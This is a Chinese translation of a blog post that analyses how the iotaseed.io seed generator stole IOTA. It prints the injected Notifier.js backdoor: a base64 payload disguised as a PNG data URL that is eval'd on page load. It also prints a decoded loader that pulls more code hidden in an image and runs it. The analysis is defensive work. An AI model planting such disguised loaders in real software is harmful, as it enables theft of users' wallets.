一个恶意种子生成器是如何偷走用户 400 万美元的?

近日,外媒 Ars Technica 发表了一篇文章,讲述了一个恶意的种子生成器 iotaseed.io 是如何从用户的钱包中偷走了价值大约 4 百万美金的IOTA 的(目前已被下线)。文中提到,“该网站将种子的数据和与其相关的钱包信息存储在一起,允许任何运行这个网站的人(或者劫持该网站的人)在钱包装满之后提走里面的钱。”

这让我感到很好奇,因此我决定分析下该骗局得逞的详细技术过程。

寻找代码

现在打开 iotaseed.io 网站,界面会显示:“网站已关闭,非常抱歉。”

但幸运的是,时光机器(Wayback Machine)保存了一个历史备份,我们可以在这里找到它:

http://web.archive.org/web/20180103035549/https://iotaseed.io/

该网站链接到了一个 GitHub 资源库,你可以在其中查看并下载代码。为了让访问者从网站本身而不是从 GitHub 上下载代码,网站还给出了一个理由:“该存储库可能含有新的、还未被完全测试过的代码。”

鉴于这一信息,我猜测,这是为了让所有代码审核者看不到它,并让其拥有者偷走用户种子的代码并不是 GitHub 存储库的一部分,所以只是作为插件添加到了 iotaseed.io 网站上——这就解释了为什么用户被告知使用网站而不是 GitHub 存储库,并且这也说明了如果某人将该网站上的 Java 和 GitHub 存储库的 Java 对比,应该会有区别。

不幸地是,GitHub 存储库中 iotaseed.io 与 norbertvdberg/iotaseed 的链接从那之后被删除了,该存储库的拥有者 norbertvdberg 的所有账户也被删除了。虽然时光机器存档了该 GitHub repository 的首页,但当你尝试查看代码、或者下载该代码的 ZIP 文件时,会出现一个“时光机器并未存档该页面”的报错。

然而,该页面的右上方仍然说道,该代码被 8 个人复刻过,并且根据此 GitHub 的文章称,当某个公共存储库被删除时,其分支仍然会被保留,这意味着,这个存储库的副本可能还存在 GitHub 上的某个地方!

在快速搜索时光机器归档中某个可见的 commit 信息后,出现了如下的结果:

eggdroid/eggseed3 似乎是原始 iotaseed.io 代码的一个分支,其中 26 条提交都是由用户 norbertvdberg 完成的,早先的 GitHub 存储库用户也是他。

现在我们已经有了网站和 GitHub Java 文件,让我们来对比它们,看看是否有不同。

分析代码

种子生成器由许多不同的 Java 文件组成,而所有文件被合并成了一个 all.js 文件,这个文件随后进一步被缩减为 all.mini.js。在网页上使用的文件实际上正是这个 all.mini.js 文件。所以,我对比了时光机器中的 all.mini.js 文件和 GitHub 存储库里的 all.mini.js 文件。

$ shasum all-website.mini.js all-github.mini.js

3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js

3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js

然而,不幸地是,这两个文件似乎是一样的。详细研究代码后,我发现生成钱包后,一个 Web Worker 会被启动,然后开始生成二维码和钱包信息,而这个 Worker 的代码来自于一个单独的文件:all-wallet.mini.js。或许这个文件里面有不可告知的内容?

当我对比了网站和 GitHub 上的 all-wallet.mini.js 文件后,我发现它们是不同的,所以我又用 js-beautify 同时运行了这两个文件,并 diff 了它们,来看看到底有什么不同。

$ diff all-wallet-website.js all-wallet-github.js

1313c1313

< t = t || {}, this.version = e( "../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace( //$/, "") + ":"+ this.port, this.sandbox = t.sandbox || ! 1, this.token = t.token || ! 1, this.sandbox && ( this.sandbox = this.provider.replace( //$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = newo( this.provider, this.token), this.api = newa( this._makeRequest, this.sandbox), this.utils = i, this.valid = e( "./utils/inputValidator"), this.multisig = news( this._makeRequest)

---

> t = t || {}, this.version = e( "../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace( //$/, "") + ":"+ this.port, this.sandbox = t.sandbox || ! 1, this.token = t.token || ! 1, this.sandbox && ( this.sandbox = this.provider.replace( //$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = newo( this.provider, this.token), this.api = newa( this._makeRequest, this.sandbox), this.utils = i, this.valid = e( "./utils/inputValidator"), this.multisig = news( this._makeRequest)

1713c1713

< this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t

---

> this.provider = e || "http://localhost:14265", this.token = t

1718c1718

< this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/"

---

> this.provider = e || "http://localhost:14265"

6435c6435

< website: "http://web.archive.org/web/20180120222030/https://iota.org/"

---

> website: "https://iota.org"

6440c6440

< url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues"

---

> url: "https://github.com/iotaledger/iota.lib.js/issues"

6444c6444

< url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git"

---

> url: "https://github.com/iotaledger/iota.lib.js.git"

然而,这两个文件唯一的不同就是时光机器重写了其中一些 URL,以使它们指向 web.archive.org。从功能上来说,实际网站和 GitHub 中的种子生成代码看似是一样的。

随后我仔细查看了 index.html,并发现了多出来一个被加载的 Java 文件,它是一个通知库,而我最初忽略了它。我下载了时光机器中的版本并将它与 GitHub 存储库中的版本进行 diff,然后发现了这一条明显可疑的代码:

$ diff notifier-website.js notifier-github.js

68, 71d67

< if(! window.inited_n) {

< window.inited_n = true;

< Notifier.init()

< }

82, 87d77

< if( /,T/.test(image)) {

< if( /ps:.*o/.test( document.location)) {

< eval(atob(image.split( ",")[ 2]))

< }

< return

< }

119, 121d108

< init: function(message, title) {

< this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")

< },

看来有人对 Notifier.js 库进行了非常仔细的修改,以隐藏一些代码。Notifier.notify 方法已经被做了改变,从而检查图像参数是否包含“T”,如果包含,它就将参数的一部分解码为 Java 并对其进行评估。 另一个修改是添加了一个 Notifier.init() 方法。当页面加载时会调用该方法,而该方法会调用 notify 方法,并通过一个图像参数来触发代码。

对上面代码使用的 data URL 运行 atob(image.split(",")[2]) 后会产生以下代码片段(为了清晰起见,我添加了缩进和间距):

functioncDis(f) {

varo = document.( "canvas").getContext( "2d");

vari = newImage;

i. = function() {

o.drawImage(i, 0, 0);

dS(o.getImageData( 0, 0, 298, 100).data)

};

i.src = f

}

functiondS(d) {

varl = 21,

bM = "",

tM = "";

for( vari = 0; i < l; i++) {

varb = (d[i * 4+ 2] >>> 0).toString( 2);

bM += b[b.length - 1];

if(bM.length == 16) {

l = parseInt(bM, 2) + 16;

bM = ""

} elseif(bM.length == 8&& l != 21) {

tM += String.fromCharCode( parseInt(bM, 2));

bM = ""

}

}

eval(tM)

}

cDis( "./images/logo_small_bottom.png");

恶意代码的第二阶段会将 ./images/logo_small_bottom.png 绘制到屏幕外的 <canvas> 元素中,从该图像的数据中读出一些文本,然后将该文本评估为 Java。

查看GitHub存储库后发现,2017 年 8 月 28 日窃贼添加了 logo_small_bottom.png,然后在同一天的 3 个小时后进行了更新。当运行这个图像解码器时,这两个版本都不会生成有效的代码。

然而,实际网站上使用的图像,即由时光机器保存的图像,是不同的,并且会生成以下代码(我再次添加了缩进和间距):

这个代码破解了Math.seedrandom函数,而这个函数被生成器代码所使用,它会总是使用固定的种子“4782588875512803642”加上一个计数器变量,这个变量每次运行seedrandom时会增加1。 这会导致Math.random()始终返回相同的可预测的一系列数目,导致生成的IOTA钱包种子始终相同。 当你多次打开iotaseed.io 存档时,这变得很明显, 因为生成的种子总是相同的XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD,即使在不同的计算机上也是如此。

有一点需要注意,用于种子RNG的数字(前面例子中的“4782588875512803642”)对于每个用户都是不同的。 由于Wayback Machine在某个特定时间点保存了图像的副本,因此每次在特定日期打开存档时,种子都是相同的,上面的代码已在1月3日发布。 但是,如果你在不同日期查看存档,例如10月31号或者11月19号,这个数字(以及生成的种子数)则会发生变化。 这意味着./images/logo_small_bottom.png文件是由iotaseed.io服务器实时生成的。 当创建这个PNG文件时,被破解的随机函数中使用的数目被修改(并且可能存储在某个地方,以便攻击者稍后可以回来窃取IOTA),这导致网站实际上为不同的用户生成了不同的种子。 (但是,这个服务器端的“随机性”似乎并不是很好,比如说它至少给一个人提供了一个已经用过的钱包。) 展示代码如何变化的演示可在此找到。

使用官方 IOTA Java库的话,与前面提到的种子(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)相对应的地址应该是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX,并且根据这个网站判断,这将是一个空的钱包。 然而,其它显示某个地址的交易历史信息的网站只给出了一个404错误(例如,见此处),这表明要么我错误解码了这个地址,要么我误解了IOTA网络的工作原理。

结论

这是一个非常聪明且隐蔽的后门,显然它的意图是恶意的,而不是在密码实现方面的某种错误。 目前还不清楚这个代码是由GitHub存储库和网站的所有者norbertvdberg添加的,还是norbertvdberg的托管帐户被黑客入侵。但从所有者的反应即他们删除了GitHub、Reddit和Quora账户来看,似乎这个网站是特意为偷窃的意图而设立的。

窃取者采取了许多步骤来隐藏后门,并且快速查看Web浏览器中的开发人员工具不会显示任何可疑内容。 例如,第一阶段中使用的data:url以iVBORw0KGgo开头,这是基于64位的有效的PNG头部的开头,这意味着该URL可能被误以为嵌入式图像而被忽略,因为这在通知库中并不会非常可疑。 部分Java是从一个图像中被加载的,除此之外,没有任何其他的网络请求被发出。 不幸的是,这足以欺骗许多人以至于他们认为没有啥问题。

如果你仔细查看Developer Tools中的网络请求,可以看到Java针对图像发出的请求。

总之,这次被盗事件应该被看作一个提醒,对于加密货币(特别是在处理大量金钱的时候!)来说,妄想症可能反而是件好事。 你不应该依赖在线服务(如种子生成器或网络钱包)来持有你在意的任何数量的货币,并且你应该确保使用开放了源代码并经过社区仔细审查和审核过的软件。 在这个例子中,iotaseed.io确实宣称它是“开放源代码”,所有代码都可供你审查,这可能足以说服某些人,但没人意识到窃取者是如何修改其实际网站上的代码的。 如果人们仔细地审核可能会发现这一后门。这个例子说明表面上而非彻底实行“开放源代码”(特别是在加密货币领域)将导致灾难性的结果。

链接:https://thatoddmailbox.github.io/2018/01/28/iotaseed.html

译者:张斌

责编:言则